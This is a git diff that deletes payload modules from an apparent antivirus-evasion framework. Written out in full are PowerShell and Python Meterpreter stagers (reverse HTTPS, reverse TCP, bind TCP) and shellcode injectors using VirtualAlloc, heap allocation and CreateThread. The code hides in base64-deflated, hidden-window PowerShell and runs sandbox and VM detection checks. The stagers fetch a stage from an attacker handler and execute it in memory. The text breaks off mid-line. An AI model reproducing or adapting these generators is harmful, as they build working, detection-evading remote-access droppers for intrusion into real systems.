-Module built by @harmj0y -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_https stager, no shellcode" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "Pure PowerShell Reverse HTTPS Stager" - self.path = "powershell/meterpreter/rev_https" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["8443", "Port of the Metasploit handler"], - "PROXY" : ["N", "Use system proxy settings"], - "STAGERURILENGTH" : ["4", "The URI length for the stager (at least 4 chars)."], - "LURI" : ["/","The HTTP path to prepend to the listener. Ex: http://attacker:port/[LURI]"], - "USER_AGENT" : ["Mozilla/4.0 (compatible; MSIE 6.1; Windows NT)", "The User-Agent header to send with the initial stager request"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} - - def generate(self): - checks, num_ends = gamemaker.senecas_games(self) - proxyString = "$pr = [System.Net.WebRequest]::GetSystemWebProxy();$pr.Credentials=[System.Net.CredentialCache]::DefaultCredentials;$m.proxy=$pr;$m.UseDefaultCredentials=$true;" - baseString = """$q = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); -"@\n""" - baseString += checks - baseString += """try{$d = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789".ToCharArray() -function c($v){ return (([int[]] $v.ToCharArray() | Measure-Object -Sum).Sum %% 0x100 -eq 92)} -function t {$f = "";1..%i|foreach-object{$f+= $d[(get-random -maximum $d.Length)]};return $f;} -function e { process {[array]$x = $x + $_}; end {$x | sort-object {(new-object Random).next()}}} -function g{ for ($i=0;$i -lt 64;$i++){$h = t;$k = $d | e; foreach ($l in $k){$s = $h + $l; if (c($s)) { return $s }}}return "9vXU";} -[Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};$m = New-Object System.Net.WebClient;%s -$m.Headers.Add("user-agent", "%s");$n = g; [Byte[]] $p = $m.DownloadData("https://%s:%s/%s$n" ) -$o = Add-Type -memberDefinition $q -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,$p.Length,0x3000,0x40);[System.Runtime.InteropServices.Marshal]::Copy($p, 0, [IntPtr]($x.ToInt32()), $p.Length) -$o::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %((int(self.required_options["STAGERURILENGTH"][0])-1), - "" if self.required_options["PROXY"][0] == "N" else proxyString, - self.required_options["USER_AGENT"][0], - self.required_options["LHOST"][0], - self.required_options["LPORT"][0], - "" if self.required_options["LURI"][0] == "/" else "%s/" % self.required_options["LURI"][0]) - encoded = evasion_helpers.deflate(baseString) - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py b/Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py deleted file mode 100644 index 22b5310..0000000 --- a/Tools/Evasion/payloads/powershell/meterpreter/rev_tcp.py +++ /dev/null @@ -1,77 +0,0 @@ -""" -Custom-written pure powershell meterpreter/reverse_tcp stager - -Module @harmj0y -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker - - -class PayloadModule: - - def __init__(self, cli_obj): - # required options - self.description = "pure windows/meterpreter/reverse_tcp stager, no shellcode" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "Pure PowerShell Reverse TCP Stager" - self.path = "powershell/meterpreter/rev_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # optional - self.required_options = { - "LHOST" : ["", "IP of the Metasploit handler"], - "LPORT" : ["4444", "Port of the Metasploit handler"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"]} - - def generate(self): - checks, num_ends = gamemaker.senecas_games(self) - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -"@\n""" - - baseString += checks - baseString += """try{$s = New-Object System.Net.Sockets.Socket ([System.Net.Sockets.AddressFamily]::InterNetwork, [System.Net.Sockets.SocketType]::Stream, [System.Net.Sockets.ProtocolType]::Tcp) -$s.Connect('%s', %s) | out-null; $p = [Array]::CreateInstance("byte", 4); $x = $s.Receive($p) | out-null; $z = 0 -$y = [Array]::CreateInstance("byte", [BitConverter]::ToInt32($p,0)+5); $y[0] = 0xBF -while ($z -lt [BitConverter]::ToInt32($p,0)) { $z += $s.Receive($y,$z+5,1,[System.Net.Sockets.SocketFlags]::None) } -for ($i=1; $i -le 4; $i++) {$y[$i] = [System.BitConverter]::GetBytes([int]$s.Handle)[$i-1]} -$t = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru; $x=$t::VirtualAlloc(0,$y.Length,0x3000,0x40) -[System.Runtime.InteropServices.Marshal]::Copy($y, 0, [IntPtr]($x.ToInt32()), $y.Length) -$t::CreateThread(0,0,$x,0,0,0) | out-null; Start-Sleep -Second 86400}catch{}""" %(self.required_options["LHOST"][0], self.required_options["LPORT"][0]) - - baseString += '}\n' * num_ends - print(baseString) - - encoded = evasion_helpers.deflate(baseString) - - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/shellcode_inject/__init__.py b/Tools/Evasion/payloads/powershell/shellcode_inject/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py b/Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py deleted file mode 100644 index 4a9d9d8..0000000 --- a/Tools/Evasion/payloads/powershell/shellcode_inject/psexec_virtual.py +++ /dev/null @@ -1,184 +0,0 @@ -""" -Powershell method to inject inline shellcode -Builds a metasploit .rc resource file to psexec the powershell command easily - -Original concept from Matthew Graeber: - http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html - -Note: the architecture independent invoker was developed independently from: - https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ - -Port to the msf resource file by @harmj0y -""" - - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.description = "PowerShell VirtualAlloc method for inline shellcode injection that makes a Metasploit psexec_command .rc script" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "rc" - self.name = "PowerShell psexec_command stager" - self.path = "powershell/shellcode_inject/psexec_virtual" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def psRaw(self): - - checks, num_ends = gamemaker.senecas_games(self) - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - Shellcode = ",0".join(Shellcode.split("\\"))[1:] - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -"@\n""" - - baseString += """Function Get-ProcAddress -{ - Param - ( - [OutputType([IntPtr])] - - [Parameter( Position = 0, Mandatory = $True )] - [String] - $Module, - - [Parameter( Position = 1, Mandatory = $True )] - [String] - $Procedure - ) - - # Get a reference to System.dll in the GAC - $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | - Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') } - $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods') - # Get a reference to the GetModuleHandle and GetProcAddress methods - $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle') - $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress') - # Get a handle to the module specified - $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module)) - $tmpPtr = New-Object IntPtr - $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle) - - # Return the address of the function - Write-Output $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure)) -} -Function Get-DelegateType -{ - Param - ( - [OutputType([Type])] - - [Parameter( Position = 0)] - [Type[]] - $Parameters = (New-Object Type[](0)), - - [Parameter( Position = 1 )] - [Type] - $ReturnType = [Void] - ) - - $Domain = [AppDomain]::CurrentDomain - $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate') - $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run) - $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false) - $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate]) - $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters) - $ConstructorBuilder.SetImplementationFlags('Runtime, Managed') - $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters) - $MethodBuilder.SetImplementationFlags('Runtime, Managed') - - Write-Output $TypeBuilder.CreateType() -}\n""" - - baseString += """$wut = New-Object System.Object -$VirtualProtectAddr = Get-ProcAddress kernel32.dll VirtualProtect -$VirtualProtectDelegate = Get-DelegateType @([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()) ([Bool]) -$why = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualProtectAddr, $VirtualProtectDelegate) -$wut | Add-Member NoteProperty -Name VirtualProtect -Value $why\n""" - - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s; -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} -$here=$wut.VirtualProtect.Invoke($x, [UInt32]0x1000, [UInt32]0x20, [Ref]0); -$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -"@\n""" - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -[Byte[]]$sc = %s -$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length) -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;} -$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - baseString += '}\n' * num_ends - - return baseString - - def generate(self): - - encoded = evasion_helpers.deflate(self.psRaw()) - - payload_code = "use auxiliary/admin/smb/psexec_command\n" - payload_code += "set COMMAND " - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\\\syswow64\\\\windowspowershell\\\\v1.0\\\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \\\"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\\\\\"%s\\\\\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\\\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py b/Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py deleted file mode 100644 index 7f83b8a..0000000 --- a/Tools/Evasion/payloads/powershell/shellcode_inject/virtual.py +++ /dev/null @@ -1,119 +0,0 @@ -""" -Powershell method to inject inline shellcode - -Original concept from Matthew Graeber: - http://www.exploit-monday.com/2011/10/exploiting-powershells-features-not.html - -Note: the architecture independent invoker was developed independently from: - https://www.trustedsec.com/may-2013/native-powershell-x86-shellcode-injection-on-64-bit-platforms/ - -Module built by @harmj0y -Updated by @ChrisTruncer -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import gamemaker -from tools.evasion.evasion_common import shellcode_help - - -class PayloadModule: - - def __init__(self, cli_obj): - # required - self.description = "PowerShell VirtualAlloc method for inline shellcode injection" - self.rating = "Excellent" - self.language = "powershell" - self.extension = "bat" - self.name = "PowerShell Flat Stager" - self.path = "powershell/shellcode_inject/virtual" - self.cli_opts = cli_obj - self.shellcode = shellcode_help.Shellcode(cli_obj) - self.payload_source_code = '' - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - self.cli_shellcode = False - - # options we require user ineraction for- format is {Option : [Value, Description]]} - self.required_options = { - "INJECT_METHOD" : ["Virtual", "Virtual, Void, or Heap"], - "HOSTNAME" : ["X", "Optional: Required system hostname"], - "DOMAIN" : ["X", "Optional: Required internal domain"], - "PROCESSORS" : ["X", "Optional: Minimum number of processors"], - "USERNAME" : ["X", "Optional: The required user account"], - "USERPROMPT" : ["FALSE", "Window pops up prior to payload"], - "MINRAM" : ["FALSE", "Require a minimum of 3 gigs of RAM"], - "UTCCHECK" : ["FALSE", "Check that system isn't using UTC time zone"], - "VIRTUALPROC" : ["FALSE", "Check for known VM processes"], - "MINBROWSERS" : ["FALSE", "Minimum of 2 browsers"], - "BADMACS" : ["FALSE", "Checks for known bad mac addresses"], - "MINPROCESSES" : ["X", "Minimum number of processes running"], - "SLEEP" : ["X", "Optional: Sleep \"Y\" seconds, check if accelerated"] - } - - def psRaw(self): - - checks, num_ends = gamemaker.senecas_games(self) - - # Generate the shellcode - if not self.cli_shellcode: - Shellcode = self.shellcode.generate(self.cli_opts) - if self.shellcode.msfvenompayload: - self.payload_type = self.shellcode.msfvenompayload - elif self.shellcode.payload_choice: - self.payload_type = self.shellcode.payload_choice - self.shellcode.payload_choice = '' - # assume custom shellcode - else: - self.payload_type = 'custom' - else: - Shellcode = self.cli_shellcode - Shellcode = ",0".join(Shellcode.split("\\"))[1:] - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr VirtualAlloc(IntPtr w, uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern bool VirtualProtect(IntPtr lpAddress, uint dwSize, uint flNewProtect, out uint lpflOldProtect); -"@\n""" - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -$x=$o::VirtualAlloc(0,0x1000,0x3000,0x04); [Byte[]]$sc = %s; -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1) | out-null;} -$oldprotect = 0; -$here=$o::VirtualProtect($x, [UInt32]0x1000, [UInt32]0x20, [Ref]$oldprotect); -$z=$o::CreateThread(0,0,$x,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - elif self.required_options["INJECT_METHOD"][0].lower() == "heap": - baseString = """$c = @" -[DllImport("kernel32.dll")] public static extern IntPtr HeapCreate(uint x, uint y, uint z); -[DllImport("kernel32.dll")] public static extern IntPtr HeapAlloc(IntPtr w, uint x, uint y); -[DllImport("kernel32.dll")] public static extern IntPtr CreateThread(IntPtr u, uint v, IntPtr w, IntPtr x, uint y, IntPtr z); -[DllImport("msvcrt.dll")] public static extern IntPtr memset(IntPtr x, uint y, uint z); -"@\n""" - baseString += checks - baseString += """$o = Add-Type -memberDefinition $c -Name "Win32" -namespace Win32Functions -passthru -[Byte[]]$sc = %s -$x=$o::HeapCreate(0x00040000,$sc.Length,0); $ct=$o::HeapAlloc($x,0x00000008,$sc.Length) -for ($i=0;$i -le ($sc.Length-1);$i++) {$o::memset([IntPtr]($ct.ToInt32()+$i), $sc[$i], 1) | out-null;} -$z=$o::CreateThread(0,0,$ct,0,0,0); Start-Sleep -Second 100000""" % (Shellcode) - - baseString += '}\n' * num_ends - return baseString - - def generate(self): - - encoded = evasion_helpers.deflate(self.psRaw()) - - payload_code = "@echo off\n" - payload_code += "if %PROCESSOR_ARCHITECTURE%==x86 (" - payload_code += "powershell.exe -NoP -NonI -W Hidden -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\"" % (encoded) - payload_code += ") else (" - payload_code += "%%WinDir%%\\syswow64\\windowspowershell\\v1.0\\powershell.exe -NoP -NonI -W Hidden -Exec Bypass -Command \"Invoke-Expression $(New-Object IO.StreamReader ($(New-Object IO.Compression.DeflateStream ($(New-Object IO.MemoryStream (,$([Convert]::FromBase64String(\\\"%s\\\")))), [IO.Compression.CompressionMode]::Decompress)), [Text.Encoding]::ASCII)).ReadToEnd();\")" % (encoded) - - self.payload_source_code = payload_code - return diff --git a/Tools/Evasion/payloads/python/.gitignore b/Tools/Evasion/payloads/python/.gitignore deleted file mode 100644 index 0d20b64..0000000 --- a/Tools/Evasion/payloads/python/.gitignore +++ /dev/null @@ -1 +0,0 @@ -*.pyc diff --git a/Tools/Evasion/payloads/python/__init__.py b/Tools/Evasion/payloads/python/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/python/meterpreter/__init__.py b/Tools/Evasion/payloads/python/meterpreter/__init__.py deleted file mode 100644 index e69de29..0000000 diff --git a/Tools/Evasion/payloads/python/meterpreter/bind_tcp.py b/Tools/Evasion/payloads/python/meterpreter/bind_tcp.py deleted file mode 100644 index 1e466e3..0000000 --- a/Tools/Evasion/payloads/python/meterpreter/bind_tcp.py +++ /dev/null @@ -1,112 +0,0 @@ -""" -Custom-written pure python meterpreter/bind_tcp stager -""" - -from tools.evasion.evasion_common import evasion_helpers -from tools.evasion.evasion_common import encryption - - -class PayloadModule: - - def __init__(self, cli_obj): - - - # required options - self.description = "pure windows/meterpreter/bind_tcp stager, no shellcode" - self.rating = "Excellent" - self.name = "Pure Python Reverse TCP stager" - self.path = "python/meterpreter/bind_tcp" - self.cli_opts = cli_obj - self.payload_source_code = '' - self.language = "python" - self.extension = "py" - if cli_obj.ordnance_payload is not None: - self.payload_type = cli_obj.ordnance_payload - elif cli_obj.msfvenom is not None: - self.payload_type = cli_obj.msfvenom - elif not cli_obj.tool: - self.payload_type = '' - - # optional - # options we require user interaction for- format is {OPTION : [Value, Description]]} - self.required_options = { - "COMPILE_TO_EXE" : ["Y", "Compile to an executable"], - "RHOST" : ["", "The listen target address"], - "LPORT" : ["4444", "The listen port"], - "USE_PYHERION" : ["N", "Use the pyherion encrypter"]} - - def generate(self): - - # randomize all of the variable names used - shellCodeName = evasion_helpers.randomString() - socketName = evasion_helpers.randomString() - clientSocketName = evasion_helpers.randomString() - getDataMethodName = evasion_helpers.randomString() - fdBufName = evasion_helpers.randomString() - rcvStringName = evasion_helpers.randomString() - rcvCStringName = evasion_helpers.randomString() - - injectMethodName = evasion_helpers.randomString() - tempShellcodeName = evasion_helpers.randomString() - shellcodeBufName = evasion_helpers.randomString() - fpName = evasion_helpers.randomString() - tempCBuffer = evasion_helpers.randomString() - - - payload_code = "import struct, socket, binascii, ctypes, random, time\n" - - # socket and shellcode variables that need to be kept global - payload_code += "%s, %s = None, None\n" % (shellCodeName,socketName) - - # build the method that creates a socket, connects to the handler, - # and downloads/patches the meterpreter .dll - payload_code += "def %s():\n" %(getDataMethodName) - payload_code += "\ttry:\n" - payload_code += "\t\tglobal %s\n" %(socketName) - payload_code += "\t\tglobal %s\n" %(clientSocketName) - # build the socket and connect to the handler - payload_code += "\t\t%s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n" %(socketName) - payload_code += "\t\t%s.bind(('%s', %s))\n" %(socketName,self.required_options["RHOST"][0], str(self.required_options["LPORT"][0])) - payload_code += "\t\t%s.listen(1)\n" % (socketName) - payload_code += "\t\t%s,_ = %s.accept()\n" % (clientSocketName, socketName) - # pack the underlying socket file descriptor into a c structure - payload_code += "\t\t%s = struct.pack(' 100000: return " + tName + ".read()\n" - payload_code += '\t' * num_tabs_required + "\t\t\telse: return ''\n" - payload_code += '\t' * num_tabs_required + "\t\texcept: return " + tName + ".read()\n" - payload_code += '\t' * num_tabs_required + "\texcept urllib.request.URLError:\n" - payload_code += '\t' * num_tabs_required + "\t\treturn ''\n" - - # method to inject a reflective .dll into memory - payload_code += '\t' * num_tabs_required + "def " + injectMethodName + "(" + dataName + "):\n" - payload_code += '\t' * num_tabs_required + "\tif " + dataName + " != \"\":\n" - payload_code += '\t' * num_tabs_required + "\t\t" + byteArrayName + " = bytearray(" + dataName + ")\n" - - if self.required_options["INJECT_METHOD"][0].lower() == "virtual": - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + " = " + randctypes + ".windll.kernel32.VirtualAlloc(" + randctypes + ".c_int(0)," + randctypes + ".c_int(len(" + byteArrayName + ")), " + randctypes + ".c_int(0x3000)," + randctypes + ".c_int(0x40))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + " = (" + randctypes + ".c_char * len(" + byteArrayName + ")).from_buffer(" + byteArrayName + ")\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.RtlMoveMemory(" + randctypes + ".c_int(" + ptrName + ")," + bufName + ", " + randctypes + ".c_int(len(" + byteArrayName + ")))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + handleName + " = " + randctypes + ".windll.kernel32.CreateThread(" + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".c_int(" + ptrName + ")," + randctypes + ".c_int(0)," + randctypes + ".c_int(0)," + randctypes + ".pointer(" + randctypes + ".c_int(0)))\n" - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + ".windll.kernel32.WaitForSingleObject(" + randctypes + ".c_int(" + handleName + ")," + randctypes + ".c_int(-1))\n" - - # Assuming heap injection - else: - HeapVar = evasion_helpers.randomString() - - payload_code += '\t' * num_tabs_required + "\t\t" + HeapVar + ' = ' + randctypes + '.windll.kernel32.HeapCreate(' + randctypes + '.c_int(0x00040000),' + randctypes + '.c_int(len(' + byteArrayName + ') * 2),' + randctypes + '.c_int(0))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + ptrName + ' = ' + randctypes + '.windll.kernel32.HeapAlloc(' + randctypes + '.c_int(' + HeapVar + '),' + randctypes + '.c_int(0x00000008),' + randctypes + '.c_int(len( ' + byteArrayName + ')))\n' - payload_code += '\t' * num_tabs_required + "\t\t" + bufName + ' = (' + randctypes + '.c_char * len(' + byteArrayName + ')).from_buffer(' + byteArrayName + ')\n' - payload_code += '\t' * num_tabs_required + "\t\t" + randctypes + '.windll.kernel32.RtlMoveMemory(' + randctypes + '.c_int(' + ptrName + '),' + bufName + ',' + randctypes + '.c_int(len(' + byteArrayName + ')))\n' - 